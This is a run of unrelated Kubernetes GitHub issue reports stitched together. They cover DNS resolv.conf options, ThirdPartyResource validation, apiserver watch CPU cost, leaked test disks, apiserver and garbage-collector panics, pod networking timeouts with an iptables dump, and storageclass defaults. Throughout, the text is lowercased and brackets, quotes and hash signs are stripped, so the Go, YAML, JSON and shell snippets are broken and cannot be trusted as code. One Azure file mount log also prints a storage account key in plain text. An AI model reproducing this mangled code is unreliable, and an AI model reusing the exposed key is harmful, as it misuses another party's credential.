--require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --logtostderr=true --v=0 --allow-privileged=true --resolv-conf=/etc/kube-resolv.conf\r \r   content of /etc/kube-resolv.conf  \r options timeout:1\r options ndots:5\r nameserver 100.64.0.10\r nameserver 172.16.1.246\r nameserver 172.16.1.247\r \r kubelet remove options define in above /etc/kube-resolv.conf file, it only pickup nameserver and search keyword, does not look for options keyword, it should look for it also.\r ~   kubectl exec -t busybox -- cat /etc/resolv.conf \r nameserver 100.64.0.10\r nameserver 172.16.1.246\r nameserver 172.16.1.247\r options ndots:5\r \r    cluster dns is working fine\r ~   kubectl get svc\r name         cluster-ip     external-ip   port s          age\r kubernetes   100.64.0.1       <none>         443/tcp            41d\r nginx             100.67.5.184   <nodes>       80:30010/tcp   4d\r \r ~   kubectl exec -t busybox -- nslookup nginx.default.svc.kubernetes\r server:    100.64.0.10\r address 1: 100.64.0.10 kube-dns.kube-system.svc.kubernetes\r \r name:      nginx.default.svc.kubernetes\r address 1: 100.67.5.184 nginx.default.svc.kubernetes\r \r    issue   \r since kube-dns only resolv service related svr records but if there an entry which it does not have then it go for next nameservers and there is 5 second timeout between nameserver. although dnsmasq is there for caching records but 5 second timeout is very high for our app setup.\r we want to add below options timeout:1 so that if entry o not find in first nameserver it should not wait for 5 second to resolve entry, default is 5 sec in resolv.conf, want to keep only 1 second. i think kubelet should look for options keyword also in resolv.conf file, as of now it is looking for nameserver and search field as define in function parseresolvconf kubelet_network.go \r \r 207 // parseresolveconf reads a resolv.conf file from the given reader, and parses\r 208 // it into nameservers and searches, possibly returning an error.\r 209 // todo: move to utility package\r 210 func  kl  kubelet  parseresolvconf reader io.reader   nameservers   string, searches   string, err error  {\r 211         file, err := ioutil.readall reader \r 212         if err != nil {\r 213                 return nil, nil, err\r 214         }\r 215 \r 216         // lines of the form \ nameserver 1.2.3.4\  accumulate.\r 217         nameservers =   string{}\r 218 \r 219         // lines of the form \ search example.com\  overrule - last one wins.\r 220         searches =   string{}\r 221 \r 222         lines := strings.split string file , \ \ \  \r 223         for l := range lines {\r 224                 trimmed := strings.trimspace lines l  \r 225                 if strings.hasprefix trimmed, \  \   {\r 226                         continue\r 227                 }\r 228                 fields := strings.fields trimmed \r 229                 if len fields  == 0 {\r 230                         continue\r 231                 }\r 232                 if fields 0  == \ nameserver\  {\r 233                         nameservers = append nameservers, fields 1: ... \r 234                 }\r 235                 if fields 0  == \ search\  {\r 236                         searches = fields 1: \r 237                 }\r 238         }\r 239 \r 240         // there used to be code here to scrub dns for each cloud, but doesn't\r 241         // make sense anymore since cloudproviders are being factored out.\r 242         // contact @thockin or @wlan0 for more information\r 243 \r 244         return nameservers, searches, nil\r 245 }\r \r i did not find a way to set timeout 1 second for pods resolv.conf, if anyone have please help.

is this a bug report or feature request?    choose one :   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :   v1.5.3  \r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube  mac osx \r -   os    e.g. from /etc/os-release :\r    \r name=buildroot\r version=2016.08\r id=buildroot\r version_id=2016.08\r pretty_name=\ buildroot 2016.08\ \r    \r -   kernel    e.g.  uname -a  : \r    linux minikube 4.7.2  6 smp wed feb 22 11:18:55 pst 2017 x86_64 gnu/linux   \r -   install tools  : minikube\r \r \r   what happened  :  mvp example \r    sh\r client$ echo \\\r --- \\\r apiversion: extensions/v1beta1 \\\r kind: thirdpartyresource \\\r metadata: \\\r   name: foo.bar.io \\\r description: sample resource \\\r versions: \\\r - name: v1 > tpr.yaml\r $ kubectl apply -f tpr.yaml\r node$ curl 127.0.0.1:8080/apis/bar.io/v1\r {\r   \ kind\ : \ apiresourcelist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ groupversion\ : \ bar.io/v1\ ,\r   \ resources\ :  \r     {\r       \ name\ : \ foos\ ,\r       \ namespaced\ : true,\r       \ kind\ : \ foo\ \r     }\r    \r }\r client$ echo \\\r --- \\\r apiversion: \ bar.io/v1\  \\\r kind: foo \\\r metadata: \\\r   name: myname \\\r   namespace: default \\\r spec: \\\r   foo: bar > customkind.yaml\r client$ kubectl apply -f customkind.yaml\r f0308 20:51:41.992379   32015 helpers.go:107  error validating \ customkind.yaml\ : error validating data: api version \ bar.io/v1\  isn't supported, only supports api versions  \ v1\  \ metrics/v1alpha1\  \ extensions/v1beta1\  \ componentconfig/v1alpha1\  \ batch/v1\  \ autoscaling/v1\  \ authorization.k8s.io/v1beta1\  ; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r \r   what you expected to happen  :\r i expect the custom kind to be created succesfully. note that this is almost exactly the same example as what is in the docs.\r \r   how to reproduce it    as minimally and precisely as possible :\r follow exactly the step in the  what happened  section\r

help reduce the watch cpu cost  :\r \r most cpu cost in apiserver's watch is on this  code  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/pod/strategy.go l190  with pprof test result\r \r    \r func podtoselectablefields pod  api.pod  fields.set {\r \t// the purpose of allocation with a given number of elements is to reduce\r \t// amount of allocations needed to create the fields.set. if you add any\r \t// field here or the number of object-meta related fields changes, this should\r \t// be adjusted.\r \tpodspecificfieldsset := make fields.set, 5 \r \tpodspecificfieldsset \ spec.nodename\   = pod.spec.nodename\r \tpodspecificfieldsset \ spec.restartpolicy\   = string pod.spec.restartpolicy \r \tpodspecificfieldsset \ status.phase\   = string pod.status.phase \r \treturn generic.addobjectmetafieldsset podspecificfieldsset, &pod.objectmeta, true \r }\r \r    \r \r as  make fields.set, 5   is actually make a map, which is quite slow because there is memory allocation in it. and every time when pod had status change, it will go through this code and make watch slow.\r \r the main way of avoid this cost is focus on the nodename, if there is only a nodename selector, don't call podtoselectablefields and simply compare the pod's nodename.\r \r we have test that it could save about 20% cpu apiserver cost on over 2000 node in density test.

todos:\r -     daemonset moved to apps group \r -     replicaset moved to apps group \r \r @kubernetes/sig-apps-feature-requests

our ci tests started failing sometime yesterday  https://k8s-testgrid.appspot.com/sig-federation  with errors such as:\r    \r error: 1 leaked resources\r   disks  \r +prow-us-central1-f-dyn-pvc-d11b7df7-7eed-11e7-a35f-42010a80000a  us-central1-f  10       pd-standard  ready\r    \r \r @madhusudancs pointed out that we have always been leaking the gce pd provisioned using dynamic provisioning, we probably updated our tests now to catch it.\r \r ci tests on head and all release branches are now failing.\r \r cc @kubernetes/sig-federation-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r \r when discussing issue in https://github.com/kubernetes/community/pull/985 , i noticed:\r \r although  taintnodeunreachable  is using key  node.alpha.kubernetes.io/unreachable   in current code  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/well_known_labels.go l33 , \r \r it has actually been changed to  node.alpha.kubernetes.io/unreachable  in  design doc  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/scheduling/taint-node-by-condition.md  for quite a while.\r \r i am thinking we may need to fix this   inconsistency   in 1.9, by moving  taintnodeunreachable  out of alpha.\r \r cc @gmarek @k82cn  wdyt?\r \r \r   anything else we need to know?  :\r \r task tracker:\r \r -     update well_known_labels.go\r -     update kubernetes doc\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r if start apiserver with imagepolicywebhook  admission enabled , and no configuration provided, apiserver would panic:\r    \r i1109 15:30:58.799478  104950 initialization.go:90  enabled initializers feature as part of admission plugin setup\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x54ec0a \r \r goroutine 1  running :\r bufio.  reader .fill 0xc420b75380 \r \t/usr/local/go/src/bufio/bufio.go:97 +0xfa\r bufio.  reader .peek 0xc420b75380, 0x1000, 0x1000, 0xc42118e000, 0x1000, 0x1000, 0xc420f9e8e8 \r \t/usr/local/go/src/bufio/bufio.go:129 +0x67\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml.guessjsonstream 0x0, 0x0, 0x1000, 0xc420022000, 0xc420f9e9c8, 0x4823d4, 0x47f295, 0x1, 0x2 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml/decoder.go:329 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml.  yamlorjsondecoder .decode 0xc420f9ec08, 0x3bcf160, 0xc4211717a0, 0xa17d4f8, 0xc42106d3f0 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml/decoder.go:218 +0x4e9\r k8s.io/kubernetes/plugin/pkg/admission/imagepolicy.newimagepolicywebhook 0x0, 0x0, 0xc420f9ec98, 0xc4206b21b0, 0xc42001f340 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/admission/imagepolicy/admission.go:225 +0xbb\r k8s.io/kubernetes/plugin/pkg/admission/imagepolicy.register.func1 0x0, 0x0, 0x0, 0x0, 0x1, 0x0 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/admission/imagepolicy/admission.go:53 +0x39\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .getplugin 0xc420167030, 0xc420f4feac, 0x12, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:103 +0x182\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .initplugin 0xc420167030, 0xc420f4feac, 0x12, 0x0, 0x0, 0x9e0d6a0, 0xc42117eca0, 0x1, 0xc42117ecc0, 0x0, ... \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:149 +0x7d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .newfromplugins 0xc420167030, 0xc420874900, 0x9, 0x9, 0x9e0d720, 0xc420b85180, 0x9e0d6a0, 0xc42117eca0, 0x0, 0x411a42, ... \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:131 +0x126\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options.  admissionoptions .applyto 0xc420acec60, 0xc420f48d00, 0x9e56f80, 0xc42108f830, 0xc4203fd4a0, 0xc42001fec0, 0xc42117ec60, 0x2, 0x2, 0xc42116f0e0, ... \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options/admission.go:110 +0x4b8\r k8s.io/kubernetes/cmd/kube-apiserver/app.buildgenericconfig 0xc42040a000, 0xc420a7ec30, 0x0, 0x0, 0x2, 0x1, 0x0, 0x1, 0xc420a3c410, 0xc420fcef30, ... \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:480 +0x106c\r k8s.io/kubernetes/cmd/kube-apiserver/app.createkubeapiserverconfig 0xc42040a000, 0x0, 0x0, 0xc420a7ec30, 0x0, 0x0, 0xc420274a80, 0x5f, 0xb1, 0x5f, ... \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:268 +0xb0\r k8s.io/kubernetes/cmd/kube-apiserver/app.createserverchain 0xc42040a000, 0xc420acf2c0, 0xc420f9f908, 0x1, 0x1 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:133 +0x8d\r k8s.io/kubernetes/cmd/kube-apiserver/app.run 0xc42040a000, 0xc420acf2c0, 0xc420f9f9e8, 0xc420fcee10 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:119 +0xfa\r main.newkubeapiserver.func1 0xc420acf500, 0xc420fad800, 0x0, 0x20, 0xc420acf2c0, 0x0, 0xc420acf380 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/kube-apiserver.go:35 +0x34\r main.  hyperkube .run 0xc420988480, 0xc420010250, 0x20, 0x20, 0xc420acf2c0, 0x0, 0x0 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:193 +0x408\r main.  hyperkube .runtoexit 0xc420988480, 0xc420010240, 0x22, 0x24 \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:205 +0x57\r main.main  \r \t/workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/main.go:49 +0x5ec\r    \r \r   what you expected to happen  :\r return error in an elegant way\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55575/pull-kubernetes-unit/64726/\r    \r go test -v k8s.io/kubernetes/test/integration/garbagecollector -run testcascadingdeletion$\r panic: close of closed channel\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r /usr/local/go/src/runtime/panic.go:491 +0x283\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/graph_builder.go:259 +0xb80\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:123 +0x39\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:211 +0x20f\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:172 +0xd9\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/garbagecollector/garbage_collector_test.go:268 +0xc9\r \t\t\t\tfrom junit_3a3d564eebb1750e5c904cc525d117617fc0af51_20171113-090812.xml\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i'm able to communicate to apiserver using service ip from any node / minions\r core@ip-10-112-17-200 ~ $ curl -k https://172.30.0.1:443/api/v1/endpoints?resourceversion=0\r unauthorized\r \r  root@test-1321332330-6td2z /   curl -k https://172.30.0.1:443/api/v1/endpoints?resourceversion=0 -m 10\r curl:  28  connection timed out after 10001 milliseconds\r but if i try it from inside of pod then its timeout.  this is why kube-dns is crashing and it's not working \r \r   iptables-save   from a node:\r \r core@ip-10-112-17-200 ~ $ sudo iptables-save\r   generated by iptables-save v1.4.21 on mon jan 15 16:10:51 2018\r  filter\r :input accept  228:73833 \r :forward accept  50:4392 \r :output accept  228:22134 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r -a input -j kube-firewall\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-services -d 172.30.0.10/32 -p udp -m comment --comment \ default/kube-dns:dns has no endpoints\  -m udp --dport 53 -j reject --reject-with icmp-port-unreachable\r -a kube-services -d 172.30.0.10/32 -p tcp -m comment --comment \ default/kube-dns:dns-tcp has no endpoints\  -m tcp --dport 53 -j reject --reject-with icmp-port-unreachable\r -a kube-services -d 172.30.0.11/32 -p tcp -m comment --comment \ default/sumologic2:sumologic-tcp has no endpoints\  -m tcp --dport 514 -j reject --reject-with icmp-port-unreachable\r -a kube-services -d 172.30.0.11/32 -p udp -m comment --comment \ default/sumologic2:sumologic-udp has no endpoints\  -m udp --dport 514 -j reject --reject-with icmp-port-unreachable\r commit\r   completed on mon jan 15 16:10:51 2018\r   generated by iptables-save v1.4.21 on mon jan 15 16:10:51 2018\r  nat\r :prerouting accept  33:2610 \r :input accept  0:0 \r :output accept  22:1320 \r :postrouting accept  50:3754 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-b37mmb25zg3dnjs6 -  0:0 \r :kube-sep-fvxi2fpysew3lf3a -  0:0 \r :kube-sep-fyl7fzpezutw64ig -  0:0 \r :kube-sep-us74dztf5h32qe6o -  0:0 \r :kube-services -  0:0 \r :kube-svc-35olbyiuu5t5cf4p -  0:0 \r :kube-svc-6nb3fgvjeiqoew54 -  0:0 \r :kube-svc-d376nysddvfpf2kn -  0:0 \r :kube-svc-hmzhn25ys75iok2z -  0:0 \r :kube-svc-n6r7ps4omik6neo2 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-b37mmb25zg3dnjs6 -s 10.112.16.123/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-b37mmb25zg3dnjs6 -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-b37mmb25zg3dnjs6 --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.112.16.123:443\r -a kube-sep-fvxi2fpysew3lf3a -s 10.112.18.197/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-fvxi2fpysew3lf3a -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-fvxi2fpysew3lf3a --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.112.18.197:443\r -a kube-sep-fyl7fzpezutw64ig -s 172.16.29.7/32 -m comment --comment \ default/dd-agent:statsd-udp\  -j kube-mark-masq\r -a kube-sep-fyl7fzpezutw64ig -p udp -m comment --comment \ default/dd-agent:statsd-udp\  -m udp -j dnat --to-destination 172.16.29.7:8125\r -a kube-sep-us74dztf5h32qe6o -s 10.112.17.12/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-us74dztf5h32qe6o -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-us74dztf5h32qe6o --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.112.17.12:443\r -a kube-services -d 172.30.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services -d 172.30.0.252/32 -p udp -m comment --comment \ default/dd-agent:statsd-udp cluster ip\  -m udp --dport 8125 -j kube-svc-hmzhn25ys75iok2z\r -a kube-services -d 172.30.0.10/32 -p udp -m comment --comment \ default/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-d376nysddvfpf2kn\r -a kube-services -d 172.30.0.10/32 -p tcp -m comment --comment \ default/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-n6r7ps4omik6neo2\r -a kube-services -d 172.30.0.11/32 -p tcp -m comment --comment \ default/sumologic2:sumologic-tcp cluster ip\  -m tcp --dport 514 -j kube-svc-6nb3fgvjeiqoew54\r -a kube-services -d 172.30.0.11/32 -p udp -m comment --comment \ default/sumologic2:sumologic-udp cluster ip\  -m udp --dport 514 -j kube-svc-35olbyiuu5t5cf4p\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-hmzhn25ys75iok2z -m comment --comment \ default/dd-agent:statsd-udp\  -j kube-sep-fyl7fzpezutw64ig\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-b37mmb25zg3dnjs6 --mask 255.255.255.255 --rsource -j kube-sep-b37mmb25zg3dnjs6\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-us74dztf5h32qe6o --mask 255.255.255.255 --rsource -j kube-sep-us74dztf5h32qe6o\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-fvxi2fpysew3lf3a --mask 255.255.255.255 --rsource -j kube-sep-fvxi2fpysew3lf3a\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-b37mmb25zg3dnjs6\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-us74dztf5h32qe6o\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-fvxi2fpysew3lf3a\r commit\r   completed on mon jan 15 16:10:51 2018\r \r \r   environment  :\r - docker version: 1.12.6\r - kubernetes version  use  kubectl version  : v1.6.2 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  container linux by coreos 1235.9.0  ladybug \ \r - kernel  e.g.  uname -a  : linux ip-10-112-17-200.ec2.internal 4.7.3-coreos-r2\r - install tools: custom\r - others:\r

pull-kubernetes-e2e-gke seems to have fallen off a cliff, eg:\r \r https://k8s-gubernator.appspot.com/pr/68629\r \r or similar in a bunch of pr's today:\r https://github.com/kubernetes/kubernetes/pulls?utf8=%e2%9c%93&q=is%3apr+pull-kubernetes-e2e-gke\r \r lots of people rolling the    /test pull-kubernetes-e2e-gke    dice begging for a pass.  symptoms vary run to run so i'm calling it a\r  instead of failing test outright.\r

<!-- \r stop -- please read!\r \r \r \r ubernetes.io~azure-file/sample-storage --scope -- mount -t cifs -o file_mode=0777,uid=1000,gid=1000,username=xxx,password=ef1qx24lszfx9wxixxjrh3pd0qaot/lrznmtnmw+5whp1k+mxd3r0/kikzfqjeon+orsqkn9n/dums3jkx1y8ww==,dir_mode=0777,vers=3.0 //datatistkubernetestest.file.core.windows.net/nfs-share-001 /var/lib/kubelet/pods/0a85141d-fa3d-11e8-beb4-0017fa032ace/volumes/kubernetes.io~azure-file/sample-storage\r output: running scope as unit run-7940.scope.\r mount error: could not resolve address for kubernetestest.file.core.windows.net: unknown error\r -------\r mount error: could not resolve address for kubernetestest.file.core.windows.net: unknown error\r -------\r mount error: could not resolve address for kubernetestest.file.core.windows.net: unknown error\r \r \r \r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i patched the \ default\  storageclass so that  storageclass.kubernetes.io/is-default-class  was set to false. after waiting from 3-10s, it reverts back to true. this also happens if i additionally set managed-premium to be the default storageclass.\r \r   what you expected to happen  :\r the \ default\  storageclass will not reacquire is-default-class=true.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl patch storageclass default -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ false\ }}}'\r kubectl patch storageclass default -p '{\ metadata\ : {\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ false\ }}}'\r kubectl get sc -w\r    \r \r   anything else we need to know?  :\r this is with aks, a managed kubernetes service, so i cannot  edit configuration on the master node  https://github.com/kubernetes/kubernetes/issues/53428 issuecomment-337488764 .\r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.x and 1.11.5\r - cloud provider or hardware configuration: azure\r

kube-proxy does not currently run on the master node  at least for providers that use salt .  brendan burns notes that it might be a good idea  generally  to add this: https://groups.google.com/d/msg/google-containers/plzonkj9n4g/hjdkefgp4i0j  i'm opening this issue to: - query if this is actually a desirable change - and if so, offer to contribute a patch  i needed this functionality when using a docker registry running inside the k8s cluster as a pod / service.  my draft of the change is here  see bottom; this branch includes some changes not relevant to this issue : https://github.com/googlecloudplatform/kubernetes/compare/master...pwais:pwais_run_proxy_on_master_and_make_priv_nicer_0.18.1  in summary, - we must modify some of the provider scripts to provide the api_server config to the master  currently missing  - we must tell salt to install and start the kube-proxy on the master  issues with this draft: - i've tested gce, but not sure about aws or vagrant.   make test  passes, but my guess is this config code isn't unit tested - i might be missing some providers that don't use salt - the current branch has some unrelated changes  if this is something k8s wants, i'd be happy to help if i can.

the plain jessie ami's are available,    debian-jessie-amd64-hvm-2015-06-07-13-16-ebs -   but not the k8s optimized ones.  it would be helpful to either  a. post the optimized image in 'us-gov-west', or b. provide pointers to instructions for creating the optimized image from the standard jessie image.

appcontroller will allow to work with statefull applications that involve many components  openstack for example  more easy and more native. appcontroller will understand dependencies between kubernetes objects and therefore it will create them in correct order. it will be deployed as pod. at first it will be just responsible for initial deployment, then can be extended to support post deployment actions.  we want to store dependencies in annotations.  cc @kubernetes/sig-openstack @kubernetes/sig-apps

test-cmd-util.sh tests have been failing without blocking the merge queue for several weeks  https://github.com/kubernetes/kubernetes/issues/39168 \r \r while re-enabling the tests in https://github.com/kubernetes/kubernetes/pull/40428, a failure was detected here:\r    \r      deletion of both deployments should not be blocked\r    kubectl delete deployment nginx2 \ ${kube_flags @ }\ \r      clean up\r >  kubectl delete deployment nginx \ ${kube_flags @ }\ \r    \r \r the marked line loops getting this response from the server:\r    \r i0125 12:47:55.160339     891 round_trippers.go:395  get http://127.0.0.1:8080/apis/extensions/v1beta1/namespaces/default/deployments/nginx\r i0125 12:47:55.160374     891 round_trippers.go:402  request headers:\r i0125 12:47:55.160383     891 round_trippers.go:405      accept: application/json,  / \r i0125 12:47:55.160390     891 round_trippers.go:405      user-agent: kubectl/v0.0.0  darwin/amd64  kubernetes/$format\r i0125 12:47:55.161911     891 round_trippers.go:420  response status: 200 ok in 1 milliseconds\r i0125 12:47:55.161931     891 round_trippers.go:423  response headers:\r i0125 12:47:55.161938     891 round_trippers.go:426      content-type: application/json\r i0125 12:47:55.161944     891 round_trippers.go:426      date: wed, 25 jan 2017 17:47:55 gmt\r i0125 12:47:55.161949     891 round_trippers.go:426      content-length: 1989\r i0125 12:47:55.162014     891 request.go:991  response body: {\ kind\ :\ deployment\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ nginx\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/extensions/v1beta1/namespaces/default/deployments/nginx\ ,\ uid\ :\ 56470d21-e326-11e6-b4f5-acbc32c1ca87\ ,\ resourceversion\ :\ 1241\ ,\ generation\ :10,\ creationtimestamp\ :\ 2017-01-25t17:47:27z\ ,\ labels\ :{\ name\ :\ nginx-undo\ },\ annotations\ :{\ deployment.kubernetes.io/revision\ :\ 5\ ,\ kubectl.kubernetes.io/last-applied-configuration\ :\ {\\\ kind\\\ :\\\ deployment\\\ ,\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ nginx\\\ ,\\\ creationtimestamp\\\ :null,\\\ labels\\\ :{\\\ name\\\ :\\\ nginx-undo\\\ }},\\\ spec\\\ :{\\\ replicas\\\ :3,\\\ selector\\\ :{\\\ matchlabels\\\ :{\\\ name\\\ :\\\ nginx-undo\\\ }},\\\ template\\\ :{\\\ metadata\\\ 